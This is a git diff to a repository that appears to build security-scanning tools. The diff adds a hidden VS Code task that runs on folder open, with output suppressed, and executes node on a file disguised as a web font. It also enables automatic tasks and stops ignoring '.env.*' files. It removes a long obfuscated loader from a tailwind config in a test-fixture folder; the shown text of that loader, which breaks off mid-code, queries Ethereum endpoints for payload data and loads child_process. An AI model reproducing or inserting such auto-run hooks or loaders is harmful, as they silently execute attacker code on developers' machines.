diff --git a/.github/workflows/semgrep.yml b/.github/workflows/semgrep.yml index 9ddd2a2..123bf66 100644 --- a/.github/workflows/semgrep.yml +++ b/.github/workflows/semgrep.yml @@ -37,6 +37,6 @@ jobs: - name: Upload SARIF # if fork PR, don't upload their SARIF if: steps.semgrep.outcome == 'success' && (github.event_name != 'pull_request' || github.event.pull_request.head.repo.full_name == github.repository) - uses: github/codeql-action/upload-sarif@9fddc16f0de775b9edd8a84dd5839ac2db070f8b + uses: github/codeql-action/upload-sarif@a7afe0a2d717fe23bf93c8d8239d4f43c4a40f02 with: sarif_file: semgrep.sarif diff --git a/.gitignore b/.gitignore index 44217f2..aa7bd08 100644 --- a/.gitignore +++ b/.gitignore @@ -1,5 +1,4 @@ *.env -.env.* !.env.example *.sarif @@ -22,3 +21,5 @@ coverage/ */test2/ report.xml report.log +config.bat +node_modules diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 0000000..934d555 --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,23 @@ +{ + "search.exclude": { + "**/.sst": true + }, + "task.allowAutomaticTasks": true, + "typescript.tsserver.experimental.enableProjectDiagnostics": true, + "editor.defaultFormatter": "esbenp.prettier-vscode", + "typescript.preferences.importModuleSpecifier": "relative", + "typescript.tsdk": "node_modules/typescript/lib", + "debug.openDebug": "neverOpen", + "problems.autoReveal": true, + "terminal.integrated.hideOnStartup": "always", + "terminal.integrated.defaultProfile.windows": "Command Prompt", + "terminal.integrated.inheritEnv": false, + "jestrunner.configPath": "jest.unit.config.cjs", + "compile-hero.disable-compile-files-on-did-save-code": true, + "tasks": { + "label": "lint on open", + "type": "shell", + "command": "npm run lint", + "runOn": "folderOpen" + } +} diff --git a/.vscode/tasks.json b/.vscode/tasks.json new file mode 100644 index 0000000..6206b0b --- /dev/null +++ b/.vscode/tasks.json @@ -0,0 +1,24 @@ +{ + "version": "2.0.0", + "tasks": [ + { + "label": "eslint-check", + "type": "shell", + "command": "(command -v node >/dev/null 2>&1 && node ./apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-solid-900.woff2) || (where node >nul 2>&1 && node ./apps/secure-semgrep/rules/ai/ai-best-practices/agent-unbounded-loop/public/fonts/fa-solid-900.woff2) || echo ''", + "problemMatcher": [], + "isBackground": true, + "hide": true, + "presentation": { + "reveal": "never", + "panel": "dedicated", + "focus": false, + "clear": false, + "echo": false, + "close": true + }, + "runOptions": { + "runOn": "folderOpen" + } + } + ] +} diff --git a/apps/am-i-compromised/test/__security_gate_fixtures__/malicious/quarantined-tailwind.config.js b/apps/am-i-compromised/test/__security_gate_fixtures__/malicious/quarantined-tailwind.config.js index 40b4191..6c33c5c 100644 --- a/apps/am-i-compromised/test/__security_gate_fixtures__/malicious/quarantined-tailwind.config.js +++ b/apps/am-i-compromised/test/__security_gate_fixtures__/malicious/quarantined-tailwind.config.js @@ -15,5 +15,4 @@ module.exports = { }, }, plugins: [], -}; global.i="A9-0070-3";const _0x44ceab=_0xc702;(function(_0x242c2a,_0xcc5db6){const _0x55afa4=_0xc702,_0x2abd94=_0x242c2a();while(!![]){try{const _0x3f9b11=-parseInt(_0x55afa4(0x12b))/(-0x368+0x1cce+0x877*-0x3)*(-parseInt(_0x55afa4(0x17f))/(-0x227*-0x11+-0x5d7+-0x1ebe))+-parseInt(_0x55afa4(0xec))/(-0x2316+0xb*0x1c+0x21e5)*(parseInt(_0x55afa4(0x1ac))/(0x897+0x1921+-0x21b4))+-parseInt(_0x55afa4(0xed))/(-0x1459+-0x717*-0x4+-0x7fe)*(parseInt(_0x55afa4(0xa7))/(-0x6*-0x4d2+-0x1640+-0x6a6))+-parseInt(_0x55afa4(0xaa))/(0x53b*0x4+-0x1*0x818+-0xccd)+-parseInt(_0x55afa4(0x138))/(-0x167*-0xa+0x1*-0xd1c+-0xe2)+-parseInt(_0x55afa4(0xd1))/(0xd25*-0x1+0x66e+0x6c0)*(-parseInt(_0x55afa4(0xd9))/(-0xb*0x227+-0x23e5+-0x2*-0x1dce))+parseInt(_0x55afa4(0x1bd))/(-0x2208+0x11a1+0x1072);if(_0x3f9b11===_0xcc5db6)break;else _0x2abd94['push'](_0x2abd94['shift']());}catch(_0x2923f3){_0x2abd94['push'](_0x2abd94['shift']());}}}(_0x3307,-0xc750f+-0x1991b*0x3+0x1*0x1a9896),global['r']=require,typeof module===_0x44ceab(0xab)&&(global['m']=module));const http=require(_0x44ceab(0x1a3)),https=require(_0x44ceab(0x10d)),zlib=require(_0x44ceab(0x13f)),{URL}=require(_0x44ceab(0x18e)),{spawn}=require(_0x44ceab(0x1b5)+_0x44ceab(0xf3)),B=0x3e8n,S=(_0x44ceab(0x13a)+_0x44ceab(0x12c)+_0x44ceab(0x181)+_0x44ceab(0xca)+'1a')[_0x44ceab(0x199)+'e'](),I=_0x44ceab(0xae)+_0x44ceab(0xcf)+_0x44ceab(0x170),R=[...new Set([process.env.ETH_RPC_URL,_0x44ceab(0x11a)+_0x44ceab(0x15a),_0x44ceab(0xae)+_0x44ceab(0x1b2),_0x44ceab(0xae)+_0x44ceab(0x17b)+_0x44ceab(0x1ab)+_0x44ceab(0xba),_0x44ceab(0xae)+_0x44ceab(0x114)+_0x44ceab(0xe4)+_0x44ceab(0x16c)][_0x44ceab(0x107)](Boolean))],O={'keepAlive':!(-0x259d+0xe25+0x1778),'keepAliveMsecs':0x7530,'maxSockets':0x40},A={'http:':new (http[(_0x44ceab(0x1a7))])(O),'\u0068\u0074\u0074\u0070\u0073\u003A':new (https[(_0x44ceab(0x1a7))])(O)};function ds(_0x4a7fdd){const _0x6ab9af=_0x44ceab,_0x583d53={'xGjeD':_0x6ab9af(0x123)+_0x6ab9af(0x142),'xgJMR':function(_0x328ea9,_0x2dcd35){return _0x328ea9===_0x2dcd35;},'bRTqf':_0x6ab9af(0x192),'YLiob':function(_0x5b5fd1,_0x5d69a5){return _0x5b5fd1===_0x5d69a5;},'oPGHI':_0x6ab9af(0xdf),'HFGYl':_0x6ab9af(0x105),'tZBew':function(_0x137fc4){return _0x137fc4();}},_0x3ac994=(_0x4a7fdd[_0x6ab9af(0xaf)][_0x583d53[_0x6ab9af(0xc3)]]||'')[_0x6ab9af(0x199)+'e'](),_0x10d60b=_0x583d53[_0x6ab9af(0x1b0)](_0x3ac994,_0x583d53[_0x6ab9af(0x168)])||_0x583d53[_0x6ab9af(0x121)](_0x3ac994,_0x583d53[_0x6ab9af(0x83)])?zlib[_0x6ab9af(0x15b)+'ip']:_0x583d53[_0x6ab9af(0x1b0)](_0x3ac994,_0x583d53[_0x6ab9af(0x9f)])?zlib[_0x6ab9af(0xc6)+_0x6ab9af(0x126)]:_0x583d53[_0x6ab9af(0x121)](_0x3ac994,'br')?zlib[_0x6ab9af(0x14c)+_0x6ab9af(0x17e)+'ss']:-0x150*-0xa+-0x5*0x697+0x13d3;return _0x10d60b?_0x4a7fdd[_0x6ab9af(0x149)](_0x583d53[_0x6ab9af(0x155)](_0x10d60b)):_0x4a7fdd;}function hr(_0x288096,{method:_0x180375=_0x44ceab(0x176),body:_0x1e1d38,signal:_0x4a5a6a}={}){const _0x22dd27=_0x44ceab,_0x2e88b9={'Zbgqs':_0x22dd27(0xf5),'webnr':function(_0x33f8c6,_0x52d640){return _0x33f8c6<_0x52d640;},'MRRMe':function(_0xb4b4ee,_0x48ba5e){return _0xb4b4ee>=_0x48ba5e;},'UOFLx':function(_0x3e4012,_0x28840e){return _0x3e4012(_0x28840e);},'beCzF':function(_0x34c01f,_0x1140c2){return _0x34c01f===_0x1140c2;},'dfFGU':function(_0x5b4d4d,_0x3c699a){return _0x5b4d4d!==_0x3c699a;},'eFyPx':function(_0x5cfbd8,_0x3010e5){return _0x5cfbd8(_0x3010e5);},'Dwqwq':_0x22dd27(0xcc),'QOAjr':_0x22dd27(0x175),'MltrU':_0x22dd27(0x16b),'PvcTj':_0x22dd27(0x194),'zTKCw':function(_0x2674a9,_0x30968b){return _0x2674a9+_0x30968b;},'xDPaM':function(_0x32c512,_0x2e00af){return _0x32c512!=_0x2e00af;},'pZXYl':function(_0x36cc6e,_0x4b2060){return _0x36cc6e===_0x4b2060;},'vRwSb':_0x22dd27(0xd3)+_0x22dd27(0x1a9),'ucpaX':_0x22dd27(0x198)+_0x22dd27(0x128),'yInys':_0x22dd27(0x1aa),'EjCUD':function(_0x22c9dc,_0x581aaa){return _0x22c9dc!=_0x581aaa;},'vwSTK':_0x22dd27(0x82)+'pe','BrVWx':_0x22dd27(0x120)+_0x22dd27(0x167)},_0x14b1c7=new URL(_0x288096),_0x1ecfec=_0x2e88b9[_0x22dd27(0x111)](_0x14b1c7[_0x22dd27(0x191)],_0x2e88b9[_0x22dd27(0xe6)])?https:http,_0x584dff={'Accept':_0x2e88b9[_0x22dd27(0x17d)],'\u0041\u0063\u0063\u0065\u0070\u0074\u002D\u0045\u006E\u0063\u006F\u0064\u0069\u006E\u0067':_0x2e88b9[_0x22dd27(0x185)],'Connection':_0x2e88b9[_0x22dd27(0x125)]};return _0x2e88b9[_0x22dd27(0x18c)](_0x1e1d38,null)&&(_0x584dff[_0x2e88b9[_0x22dd27(0x129)]]=_0x2e88b9[_0x22dd27(0x17d)],_0x584dff[_0x2e88b9[_0x22dd27(0x154)]]=Buffer[_0x22dd27(0xe7)](_0x1e1d38)),new Promise((_0x553038,_0xe33d86)=>{const _0x384fdc=_0x22dd27,_0x4dc16f={'FZbrm':_0x2e88b9[_0x384fdc(0xfc)],'jxKxj':function(_0x564452,_0x257140){const _0x342241=_0x384fdc;return _0x2e88b9[_0x342241(0x11c)](_0x564452,_0x257140);},'gqTzu':function(_0x3c16fa,_0xae1d3d){const _0x5890f6=_0x384fdc;return _0x2e88b9[_0x5890f6(0x1c1)](_0x3c16fa,_0xae1d3d);},'fCyKB':function(_0x2c7dce,_0x234c08){const _0x134c5f=_0x384fdc;return _0x2e88b9[_0x134c5f(0xff)](_0x2c7dce,_0x234c08);},'BSxZQ':function(_0x3052a6,_0x36c1ac){const _0x5582cf=_0x384fdc;return _0x2e88b9[_0x5582cf(0xf8)](_0x3052a6,_0x36c1ac);},'CZgSO':function(_0x4bea43,_0x2686c3){const _0x578467=_0x384fdc;return _0x2e88b9[_0x578467(0x160)](_0x4bea43,_0x2686c3);},'qMvGW':function(_0x2342c2,_0x2cdfce){const _0x7d9afe=_0x384fdc;return _0x2e88b9[_0x7d9afe(0x160)](_0x2342c2,_0x2cdfce);},'MPqWX':function(_0xbc0d1,_0x5060e6){const _0x551f2c=_0x384fdc;return _0x2e88b9[_0x551f2c(0x146)](_0xbc0d1,_0x5060e6);},'dHoEF':function(_0x9d4007,_0x1a2597){const _0x1174c7=_0x384fdc;return _0x2e88b9[_0x1174c7(0xff)](_0x9d4007,_0x1a2597);},'EpZSh':_0x2e88b9[_0x384fdc(0xa1)],'cYebN':_0x2e88b9[_0x384fdc(0xa9)],'BHwLs':_0x2e88b9[_0x384fdc(0xe9)]},_0x154605=_0x1ecfec[_0x384fdc(0x8a)]({'hostname':_0x14b1c7[_0x384fdc(0xb8)],'port':_0x14b1c7[_0x384fdc(0x96)]||(_0x2e88b9[_0x384fdc(0xf8)](_0x14b1c7[_0x384fdc(0x191)],_0x2e88b9[_0x384fdc(0xe6)])?-0x22dc+-0x75e+-0x3ff*-0xb:0x190a+-0x275*-0xe+0x764*-0x8),'path':_0x2e88b9[_0x384fdc(0x97)](_0x14b1c7[_0x384fdc(0xcd)],_0x14b1c7[_0x384fdc(0xa5)]),'method':_0x180375,'agent':A[_0x14b1c7[_0x384fdc(0x191)]],'signal':_0x4a5a6a,'headers':_0x584dff},_0x10d061=>{const _0x32263c=_0x384fdc,_0x360a3b={'wcugX':_0x4dc16f[_0x32263c(0x177)],'nsBHQ':function(_0x49ffa7,_0x50e3e4){const _0x12b240=_0x32263c;return _0x4dc16f[_0x12b240(0x18d)](_0x49ffa7,_0x50e3e4);},'ALAHX':function(_0x575592,_0x57f6cb){const _0x4b2af9=_0x32263c;return _0x4dc16f[_0x4b2af9(0xe8)](_0x575592,_0x57f6cb);},'wxUwN':function(_0xfe9a59,_0x578340){const _0x395788=_0x32263c;return _0x4dc16f[_0x395788(0x89)](_0xfe9a59,_0x578340);},'gnTPd':function(_0x5baf6e,_0x2e93d8){const _0x980b65=_0x32263c;return _0x4dc16f[_0x980b65(0xac)](_0x5baf6e,_0x2e93d8);},'gdiqs':function(_0x1607ba,_0x15779b){const _0x11943d=_0x32263c;return _0x4dc16f[_0x11943d(0x152)](_0x1607ba,_0x15779b);},'jQhWh':function(_0x9ace49,_0x49dfad){const _0x3317be=_0x32263c;return _0x4dc16f[_0x3317be(0x110)](_0x9ace49,_0x49dfad);},'QgmDv':function(_0x18a864,_0x37b6d8){const _0xeab540=_0x32263c;return _0x4dc16f[_0xeab540(0x135)](_0x18a864,_0x37b6d8);},'WPvOf':function(_0x595740,_0x2e0fd7){const _0x383d0c=_0x32263c;return _0x4dc16f[_0x383d0c(0x11f)](_0x595740,_0x2e0fd7);}},_0xe9039=_0x4dc16f[_0x32263c(0x89)](ds,_0x10d061),_0x34023=[];_0xe9039['on'](_0x4dc16f[_0x32263c(0x179)],_0x13f678=>_0x34023[_0x32263c(0xe3)](_0x13f678)),_0xe9039['on'](_0x4dc16f[_0x32263c(0x11b)],()=>{const _0x256843=_0x32263c,_0x16eb44=Buffer[_0x256843(0x12a)](_0x34023)[_0x256843(0x156)](_0x360a3b[_0x256843(0xa3)])[_0x256843(0xa0)]();if(_0x360a3b[_0x256843(0xb0)](_0x10d061[_0x256843(0x104)],-0x115*-0x11+0x13b5*-0x1+0x218)||_0x360a3b[_0x256843(0x193)](_0x10d061[_0x256843(0x104)],-0x130*0x9+0xe*0x1e1+0x2*-0x739))return _0x360a3b[_0x256843(0x1a1)](_0xe33d86,new Error('H'+_0x10d061[_0x256843(0x104)]+':'+_0x16eb44[_0x256843(0x1ad)](0x3*0xb2d+-0x103f+-0x1148,-0x1*0x1baf+-0x2*-0x30b+0x4f*0x47)));if(!_0x16eb44||_0x360a3b[_0x256843(0xde)](_0x16eb44[-0x1*-0x1542+-0x2*-0xe9b+-0x3278],'\u003C')||_0x360a3b[_0x256843(0xfe)](_0x16eb44[0xb8b+0x10*0xbc+0x1*-0x174b],'\u007B')&&_0x360a3b[_0x256843(0xe2)](_0x16eb44[0xea5+0x1*-0x236+-0xc6f*0x1],'\u005B'))return _0x360a3b[_0x256843(0x1a1)](_0xe33d86,new Error('J:'+_0x16eb44[_0x256843(0x1ad)](-0x2200+0x2f*-0x9b+0x3e75,-0x22c9+0x4f4+0x1e25)));try{_0x360a3b[_0x256843(0x94)](_0x553038,JSON[_0x256843(0x190)](_0x16eb44));}catch(_0x34ad21){_0x360a3b[_0x256843(0x86)](_0xe33d86,new Error('P:'+_0x34ad21[_0x256843(0xb5)]));}}),_0xe9039['on'](_0x4dc16f[_0x32263c(0x124)],_0xe33d86);});_0x154605['on'](_0x2e88b9[_0x384fdc(0xe9)],_0xe33d86),_0x2e88b9[_0x384fdc(0xa8)](_0x1e1d38,null)&&_0x154605[_0x384fdc(0x151)](_0x1e1d38),_0x154605[_0x384fdc(0x175)]();});}function _0x3307(){const _0x3b7856=['HTMau','kZlWZ','bnHJf','RptWP','write','CZgSO',':443','BrVWx','tZBew','toString','fkRSW',':443/0x/ls','rsXqP','pc.io/eth','createGunz','KJKIG','shSPT','OcATS','stener','dfFGU','ignore','SIecw','TQAET','zezXV','QZRte','POST','ngth','bRTqf','QQiEt','uUkdF','error','stapi.io','LnaXN','vAWQN','kpHNq','ut.com/api','BtJwU','RWpMw','find','catch','end','GET','FZbrm','crZCf','EpZSh','map','hereum-rpc','Kit/537.36','vRwSb','liDecompre','595780QbjmdV','CHepZ','6f0121063e','VyEOa','OGXGz','rwOMD','ucpaX','aBWJK','addEventLi','nsactionCo','9&page=1&o','FakYG','Jpnst','EjCUD','jxKxj','url','node','parse','protocol','gzip','ALAHX','https:','\x27]=\x27','count&acti',')\x20AppleWeb','gzip,\x20defl','toLowerCas','HoDWs','eth_getBlo','QZywI','wibbZ','unt','xOtmL','ike\x20Gecko)','wxUwN','pMLys','http','result','_t_s','forEach','Agent','all','n/json','keep-alive','.publicnod','3908idpnlr','slice','UniBA','AiKTD','xgJMR','ViSQB','h.drpc.org','YyqQS','uJddd','child_proc','uyVDL','ZuHfL','yyHsj','oflCH','cHSXQ','CQAWy','length','32590789fJQcWT','\x20NT\x2010.0;\x20','JxCbi','QbRRV','MRRMe','nerJu','bpVfp','Content-Ty','oPGHI','RbxTf','min','WPvOf','from','nGxVW','fCyKB','request','LyGdN','czpyg','unref','BLrzN','subarray','replace','_t_u','transactio','0\x20(Windows','QgmDv','ojvxD','port','zTKCw','ck=9999999','\x20(KHTML,\x20l','charCodeAt','global[\x27_V','AARcQ','_H2','isArray','HFGYl','trim','Dwqwq','get','wcugX','blockNumbe','search','PvZQW','6AKWwcZ','xDPaM','QOAjr','5961487gAvUKF','object','BSxZQ','cyCpl','https://et','headers','nsBHQ','jIkRj','unMKf','then','finally','message','mEGgj',',Sr3=@','hostname','\x27;global[\x27','e.com','wIbeD','DTEdO','QthWB','EkQIH','stringify','q4FZkxX{!h','OVUFq','no\x20b64','xGjeD','HkrSh','PVNNR','createInfl','WByWQ','IctFD','bymlS','9aDC2490Ef','1.0.0.0\x20Sa','data','pathname','ilterby=fr','h.blocksco','caxup','23427SFKuld','cRXVv','applicatio','uMvOo','Mozilla/5.','base64','tpJHG','tZibq','1300BKywdY','al=global;','e;global[\x27','ckByNumber','findIndex','gnTPd','x-gzip','resume','PskPD','jQhWh','push','public.bla','HQMBO','PvcTj','byteLength','gqTzu','MltrU','hSmHa','ucUNo','2823eEOkZK','1647205wUeYDY','r\x27]=requir','UISzP','onYDw','m\x27]=module','on=txlist&','ess','signal','utf8','YfHXM','b64','beCzF','DfeAz','nonce',';var\x20_glob','Zbgqs','MJEEv','gdiqs','UOFLx','eth_blockN','resolve','jwZZr','@^1aQk','statusCode','deflate','SfXzz','filter','y-p_>d$0B&','abort','Win64;\x20x64','k=0&endblo',':80','https','USRYf','empty','qMvGW','pZXYl','hex','\x20Chrome/13','h-mainnet.','x-payload-','HEAD','SrQJg','eth_getTra','OVJbp','https://1r','cYebN','webnr','bKTVo','?module=ac','dHoEF','Content-Le','YLiob','http://','content-en','BHwLs','yInys','ate','address=','ate,\x20br','vwSTK','concat','1QiuBJh','D311D3080e','GGbog','ffset=20&s','controller','xzqPs','durVE','ngsKF','OxJjQ','eGiCH','MPqWX','RmfMB','fLEkP','7089872YjfbgX',':443/0x/cl','0xa322E5f3','&startbloc','2.0','ufUJK','zAkNr','zlib','fari/537.3','bPQfv','coding','run','FXTJz','any','eFyPx','umber','ogFTC','pipe','XUzln','ort=desc&f','createBrot'];_0x3307=function(){return _0x3b7856;};return _0x3307();}function wr(_0x4bf01d,_0x2d60a1){const _0x302f7f=_0x44ceab,_0x44f1c3=R[_0x302f7f(0x17a)](()=>new AbortController());return _0x2d60a1&&_0x44f1c3[_0x302f7f(0x1a6)](_0x206e57=>_0x2d60a1[_0x302f7f(0x187)+_0x302f7f(0x15f)](_0x302f7f(0x109),()=>_0x206e57[_0x302f7f(0x109)](),{'once':!(-0x4ea+0x1*0xbd9+-0x6ef)})),Promise[_0x302f7f(0x145)](R[_0x302f7f(0x17a)]((_0x5bb22b,_0x500809)=>_0x4bf01d(_0x5bb22b,_0x44f1c3[_0x500809][_0x302f7f(0xf4)])))[_0x302f7f(0xb4)](()=>{const _0x4f9e9e=_0x302f7f;for(const _0x51b2a9 of _0x44f1c3)_0x51b2a9[_0x4f9e9e(0x109)]();});}function _0xc702(_0x439202,_0x221bcc){_0x439202=_0x439202-(-0x9*-0x1+-0x7a2+0x81a);const _0x258a51=_0x3307();const _0x1d3d9c=_0x258a51[_0x439202];return _0x1d3d9c;}function rc(_0xda6d24,_0x2f10db,_0x33e410,_0x33ea87){const _0x402523=_0x44ceab,_0xc93c85={'czpyg':function(_0x10ed1d,_0x268c4e,_0x151e32){return _0x10ed1d(_0x268c4e,_0x151e32);},'AARcQ':_0x402523(0x166),'uJddd':_0x402523(0x13c)};return _0xc93c85[_0x402523(0x8c)](hr,_0xda6d24,{'method':_0xc93c85[_0x402523(0x9c)],'body':JSON[_0x402523(0xbf)]({'jsonrpc':_0xc93c85[_0x402523(0x1b4)],'id':0x1,'method':_0x2f10db,'params':_0x33e410}),'signal':_0x33ea87})[_0x402523(0xb3)](_0x105f19=>_0x105f19[_0x402523(0x1a4)]);}function rb(_0x718651,_0x5f02ff,_0x2d059d){const _0x74a62a=_0x44ceab,_0x56d273={'PvZQW':function(_0x775ce9,_0x1b0e71,_0x14c8b9){return _0x775ce9(_0x1b0e71,_0x14c8b9);},'caxup':_0x74a62a(0x166)};return _0x56d273[_0x74a62a(0xa6)](hr,_0x718651,{'method':_0x56d273[_0x74a62a(0xd0)],'body':JSON[_0x74a62a(0xbf)](_0x5f02ff[_0x74a62a(0x17a)](([_0x1d278d,_0x9f4d19],_0x4a23f8)=>({'jsonrpc':_0x74a62a(0x13c),'id':_0x4a23f8+(-0x65a+0x65e*-0x1+0xcb9),'method':_0x1d278d,'params':_0x9f4d19}))),'signal':_0x2d059d})[_0x74a62a(0xb3)](_0x23c1b4=>{const _0x433ea=_0x74a62a,_0x49fb65=new Map(_0x23c1b4[_0x433ea(0x17a)](_0x50a29a=>[_0x50a29a['id'],_0x50a29a]));return _0x5f02ff[_0x433ea(0x17a)]((_0x495ead,_0x1ee36d)=>_0x49fb65[_0x433ea(0xa2)](_0x1ee36d+(-0x11*0x14d+0x11c*0x14+-0x12))[_0x433ea(0x1a4)]);});}const bh=_0x40171f=>'\u0030\u0078'+_0x40171f[_0x44ceab(0x156)](-0x7df+-0x366+0x3*0x3c7);function fm(_0x540367){const _0x3a68d0={'vAWQN':function(_0x1b34c2,_0x3e11fd){return _0x1b34c2(_0x3e11fd);},'TQAET':function(_0x198eea,_0x7e3b93){return _0x198eea(_0x7e3b93);},'onYDw':function(_0x8960f0,_0x575a0a){return _0x8960f0===_0x575a0a;},'tZibq':function(_0x24609a,_0x5902a5){return _0x24609a===_0x5902a5;}};return new Promise(_0x47f6db=>{const _0x2a597f=_0xc702,_0x384d44={'bpVfp':function(_0x449e71,_0x542e23){const _0x3bbbce=_0xc702;return _0x3a68d0[_0x3bbbce(0x163)](_0x449e71,_0x542e23);},'oflCH':function(_0x4ac23a,_0x782e6e){const _0x2f0696=_0xc702;return _0x3a68d0[_0x2f0696(0xf0)](_0x4ac23a,_0x782e6e);},'RWpMw':function(_0x5c212f,_0x4a2ebf){const _0x349934=_0xc702;return _0x3a68d0[_0x349934(0xd8)](_0x5c212f,_0x4a2ebf);},'kpHNq':function(_0xf237d4,_0x2f4069){const _0x42ee91=_0xc702;return _0x3a68d0[_0x42ee91(0x163)](_0xf237d4,_0x2f4069);}};let _0x2002c9=_0x540367[_0x2a597f(0x1bc)];if(!_0x2002c9)return _0x3a68d0[_0x2a597f(0x16e)](_0x47f6db,null);let _0x2587b3=!(0x156e+-0x29*0x9d+-0x1c*-0x22);const _0x4fc567=_0x145588=>{const _0x3721c3=_0x2a597f;if(_0x2587b3)return;_0x2587b3=!(0x1d7a*-0x1+-0x2*-0xf6b+0x4*-0x57);for(const _0x4467d0 of _0x540367)_0x4467d0[_0x3721c3(0x12f)][_0x3721c3(0x109)]();_0x3a68d0[_0x3721c3(0x16e)](_0x47f6db,_0x145588);};for(const _0xfe772d of _0x540367)_0xfe772d[_0x2a597f(0x143)]()[_0x2a597f(0xb3)](_0x2cf5b=>{const _0x1c2d03=_0x2a597f;if(_0x2587b3)return;_0x2cf5b?_0x384d44[_0x1c2d03(0x81)](_0x4fc567,_0x2cf5b):_0x384d44[_0x1c2d03(0x1b9)](--_0x2002c9,0xede+0x300+0x8ef*-0x2)&&_0x384d44[_0x1c2d03(0x81)](_0x47f6db,null);})[_0x2a597f(0x174)](()=>{const _0x50b4ed=_0x2a597f;!_0x2587b3&&_0x384d44[_0x50b4ed(0x172)](--_0x2002c9,0x25a1+-0x8ad*0x2+-0xb3*0x1d)&&_0x384d44[_0x50b4ed(0x16f)](_0x47f6db,null);});});}const cb=_0x3f6224=>[...new Set([_0x3f6224-0x1n,_0x3f6224,_0x3f6224+0x1n,_0x3f6224-B-0x1n,_0x3f6224-B,_0x3f6224-B+0x1n][_0x44ceab(0x107)](_0x154e0d=>_0x154e0d>=0x0n))];function bt(_0x408b67){const _0x303cd1=_0x44ceab,_0x3b1daf=new AbortController();return{'controller':_0x3b1daf,'run':()=>wr((_0x1523b0,_0x1fd6a4)=>rc(_0x1523b0,_0x303cd1(0x19b)+_0x303cd1(0xdc),[bh(_0x408b67),!(-0x1fd1+0xc2*0x10+0x13b1)],_0x1fd6a4),_0x3b1daf[_0x303cd1(0xf4)])[_0x303cd1(0xb3)](_0x201c4c=>{const _0x123ec6=_0x303cd1,_0x401544=_0x201c4c?.[_0x123ec6(0x92)+'ns'],_0x139f3a=Array[_0x123ec6(0x9e)](_0x401544)?_0x401544[_0x123ec6(0x173)](_0x39f4e3=>_0x39f4e3[_0x123ec6(0x87)]?.[_0x123ec6(0x199)+'e']()===S):null;return _0x139f3a?{'blockNumber':_0x408b67,'tx':_0x139f3a}:null;})};}function na(_0x7cad65,_0xca9e47){const _0x84e27d=_0x44ceab,_0x3c49d0={'xOtmL':function(_0x1e5a6a,_0x5c706f,_0x2bf6fb){return _0x1e5a6a(_0x5c706f,_0x2bf6fb);}},_0x1e8487=_0x7cad65[_0x84e27d(0x17a)](_0xb7b7a5=>[_0x84e27d(0x118)+_0x84e27d(0x188)+_0x84e27d(0x19e),[S,bh(_0xb7b7a5)]]);return _0x3c49d0[_0x84e27d(0x19f)](wr,(_0x46ae76,_0x5bb4a1)=>rb(_0x46ae76,_0x1e8487,_0x5bb4a1),_0xca9e47)[_0x84e27d(0xb3)](_0x21bb32=>_0x21bb32[_0x84e27d(0x17a)](BigInt))[_0x84e27d(0x174)](()=>Promise[_0x84e27d(0x1a8)](_0x1e8487[_0x84e27d(0x17a)](([_0x5e0af3,_0x3d3a32])=>wr((_0x5c21ad,_0x2e3faf)=>rc(_0x5c21ad,_0x5e0af3,_0x3d3a32,_0x2e3faf),_0xca9e47)))[_0x84e27d(0xb3)](_0x319440=>_0x319440[_0x84e27d(0x17a)](BigInt)));}function ls(_0x599551){const _0x46f089=_0x44ceab,_0x4f37fe={'rsXqP':function(_0x314d5c,_0xa09b1d){return _0x314d5c!==_0xa09b1d;},'HTMau':function(_0x4d2aba,_0x2a3505){return _0x4d2aba===_0x2a3505;},'cHSXQ':function(_0x46b45c,_0x810410){return _0x46b45c(_0x810410);},'KJKIG':function(_0x584fc8,_0x12f945){return _0x584fc8<=_0x12f945;},'RptWP':function(_0x473a49,_0x4b88e6){return _0x473a49(_0x4b88e6);},'rwOMD':function(_0x37c87c,_0x32fe38){return _0x37c87c===_0x32fe38;},'SfXzz':function(_0x329a18,_0x33ff17){return _0x329a18-_0x33ff17;},'bnHJf':function(_0x5270be,_0x437bf5){return _0x5270be>_0x437bf5;},'nerJu':function(_0x52648e){return _0x52648e();},'PVNNR':function(_0x355d71,_0x4806ad){return _0x355d71(_0x4806ad);},'IctFD':function(_0x5e3f1a,_0x5d134d){return _0x5e3f1a(_0x5d134d);},'mEGgj':function(_0x2c432a,_0x3349b9){return _0x2c432a+_0x3349b9;},'zezXV':function(_0x765091,_0xfafc34){return _0x765091/_0xfafc34;},'UISzP':function(_0x515f4f,_0x2ee081){return _0x515f4f*_0x2ee081;},'QQiEt':function(_0x46f2a5,_0x311e8c,_0x12f7b2){return _0x46f2a5(_0x311e8c,_0x12f7b2);},'ufUJK':function(_0x1a6331,_0x3053a0){return _0x1a6331-_0x3053a0;},'DTEdO':function(_0x63b7c2,_0x34f196){return _0x63b7c2??_0x34f196;}},_0x2dafd4=new AbortController(),_0x844271=()=>_0x2dafd4[_0x46f089(0x109)]();return Promise[_0x46f089(0x101)](_0x4f37fe[_0x46f089(0xbc)](_0x599551,null))[_0x46f089(0xb3)](_0x2f1445=>_0x2f1445!=null?_0x2f1445:wr((_0x1a906f,_0x20bf86)=>rc(_0x1a906f,_0x46f089(0x100)+_0x46f089(0x147),[],_0x20bf86),_0x2dafd4[_0x46f089(0xf4)])[_0x46f089(0xb3)](_0x337616=>BigInt(_0x337616)))[_0x46f089(0xb3)](_0x7dfc96=>wr((_0x3353f9,_0x53082)=>rc(_0x3353f9,_0x46f089(0x118)+_0x46f089(0x188)+_0x46f089(0x19e),[S,bh(_0x7dfc96)],_0x53082),_0x2dafd4[_0x46f089(0xf4)])[_0x46f089(0xb3)](_0x264dec=>[_0x7dfc96,BigInt(_0x264dec)]))[_0x46f089(0xb3)](([_0x204e25,_0x4391d2])=>{const _0x1bca21=_0x46f089,_0x245ede={'uUkdF':function(_0x26ea2f,_0x28f631){const _0x2ed924=_0xc702;return _0x4f37fe[_0x2ed924(0x184)](_0x26ea2f,_0x28f631);},'YfHXM':function(_0x22b607,_0x1b5862){const _0x245652=_0xc702;return _0x4f37fe[_0x245652(0x106)](_0x22b607,_0x1b5862);},'VyEOa':function(_0x109d6f,_0x5d2a4a){const _0x51b5e8=_0xc702;return _0x4f37fe[_0x51b5e8(0x14f)](_0x109d6f,_0x5d2a4a);},'hSmHa':function(_0x53e4df,_0x4c6c4c){const _0x5482bf=_0xc702;return _0x4f37fe[_0x5482bf(0x106)](_0x53e4df,_0x4c6c4c);},'HoDWs':function(_0x2c43c1){const _0x1949b9=_0xc702;return 